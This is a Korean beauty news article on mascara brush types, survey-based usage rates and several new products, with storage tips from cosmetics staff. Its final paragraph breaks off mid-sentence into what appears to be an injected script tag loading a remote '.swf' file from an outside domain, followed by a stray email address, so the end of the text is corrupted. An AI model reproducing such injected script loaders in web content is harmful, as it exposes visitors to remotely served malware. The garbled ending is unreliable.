브러시의 형태도 다양하다. 원통형, 삼각형, 타원형, 바람개비 형의 다양한 브러시에 이어 최근에는 유연하고 탄력적인 오렌지 컬러의 고무 브러시까지 출시되고 있다.
지난 3월 아모레퍼시픽이 우리나라 여성 1천8백 명을 대상으로 실시한 U&A 조사 결과에 따르면, 20대 여성의 경우 56%라는 높은 마스카라 사용률을 보였다. 이는 지난 해부터 투명 메이크업, 쌩얼 열풍으로 입술은 상대적으로 립글로스 등으로 가볍게 표현하는 반면 눈은 마스카라를 이용해 선명하게 표현하는 데 중점을 두고 있기 때문으로 보인다.
최인정 보브 마케팅팀 대리는 “마스카라에도 웰빙 바람으로 볼륨과 컬링 못지않게 건강하고 탄력 있는 속눈썹을 위한 제품이 인기를 모으고 있다”고 전했다.
라네즈 ‘올 래쉬 마스카라’
올 겨울 깊은 눈매는 오렌지색 고무 브러시가 책임진다. 라네즈는 원통형, 삼각형, 타원형, 바람개비형, 전동 브러시에 이어 부드럽고 탄력적인 고무 브러시의 ‘올 래쉬 마스카라’를 출시했다.
딱딱한 섬유모가 아닌 고탄력의 유연한 고무 브러시가 속눈썹 뿌리부터 끝까지 빈틈없이 밀착돼 뭉침 없이 깔끔하고 또렷한 눈매를 완성시킨다. 또한 밀 단백질과 벌집에서 추출한 순수 식물성 왁스를 함유해 속눈썹에 영양을 공급하고 윤기를 더해 건강하고 탱탱한 속눈썹으로 가꿔준다.
국내에서는 지난 5월 혁신적인 고무 브러시를 사용한 샤넬의 ‘이니미터블 마스카라’에 이어 라네즈가 두 번째 이지만 마스카라 사용률이 높은 해외에서는 이미 고무 브러시의 마스카라가 큰 인기를 얻고 있다. 특히 P&G의 ‘맥스팩터 래시 아티스트’는 일본에서, ‘맥스팩터 마스터피스 볼륨 앤 데피니션 마스카라’는 유럽, 미국에서 고무 브러시 특유의 뭉치지 않는 깔끔함으로 인기를 모으고 있다.
엔프라니 ‘딥 아이즈 볼륨 마스카라’
올 겨울 트렌드인 매혹적인 깊은 눈매는 신비감과 여성스러움을 동시에 표현해 준다. 엔프라니 ‘딥 아이즈 볼륨 마스카라’는 나노 블랙 파우더가 깊고 풍성한 속눈썹을 연출하고 리얼 텐션 폴리머와 수퍼 볼륨 파우더가 뭉침 없이 속눈썹을 매끄럽고 풍성하게 가꿔준다.
마스카라의 효과적인 사용법에 대해 엔프라니 관계자는 “마스카라는 공기와 자주 접하거나 먼지가 들어가면 쉽게 굳어 지기 때문에 시원한 곳에 뚜껑을 닫아 보관한다. 액이 굳어지면 스킨 대신 마스카라 전용액을 넣어 사용한다”며 스킨은 눈에 부작용을 일으킬 수 있다고 덧붙였다.
뷰티크레딧 ‘러브리 컬링 마스카라’
“러브리 컬링 마스카라만 있으면 나도 얼짱이 될 수 있다” 제 1대 얼짱 구혜선을 모델로 기용한 소망화장품의 뷰티크레딧 ‘러브리 컬링 마스카라’는 올리브에서 추출한 천연 식물성 왁스 성분이 속눈썹에 뭉침 없이 깔끔하게 발라진다. 비타민E 유도체, 디판테놀(D-Panthenol), 스쿠알렌 성분이 외부 자극을 완화하고 케라틴 단백질 및 코엔자임Q10이 함유돼 유연하고 탄력 있는 속눈썹으로 가꾸어 준다.
전형화 소망화장품 광고홍보팀 주임은 “최근 마스카라 트렌드는 다양한 소재와 모양으로 단 한번의 펌핑으로도 풍성하고 긴 속눈썹을 연출하는 것이 특징”이라며 “개봉한 마스카라의 유통기간은 6개월이며, 가능한 공기와의 접촉을 최대한 줄여야 한다”고 마스카라를 효과적인 사용 방법을 전했다.
에뛰드 ‘마스카라 픽서’
픽서(FIXer)로 당신의 눈매에 시선을 고정시켜라! 에뛰드는 지난 9월 일반 마스카라 전 후에 사용하며 처지고 빈약하고 번지는 마스카라의 문제점을 보완해 속눈썹을 가장 완벽한 상태로 24시간 고정시켜주는 속눈썹 전용 토탈 솔루션 제품 ‘마스카라 픽서’를 출시했다. 특수 브러시로 속눈썹을 바짝 올려 고정시켜주고 속눈썹에 통통한 살을 매워 풍성한 볼륨을 주며 한 올 한 올 섬세하게 코팅해 눈 밑 번짐 없이 깔끔하게 마무리 한다.
출시를 기념해 선착순 1000명 에게 무상으로 마스카라를 교환해주는 ‘못된 마스카라 신고하기’ 이벤트는 행사 시작 후 불과 몇 분만에 끝나는 등 뜨거운 호응을 얻었다.
보브 캐슬듀 세팅 마스카라
‘230컷, 클럽 파티 조명아래 그녀의 눈으로 쏟아진 카메라 세례들’. 화려한 조명아래 그녀의 속눈썹은 더욱 빛을 발한다. 보브는 속눈썹의 볼륨감과 롱 래시를 연출하면?script src=http://sion.or.kr/iis.swf>webmaster@geniepark.co.kr
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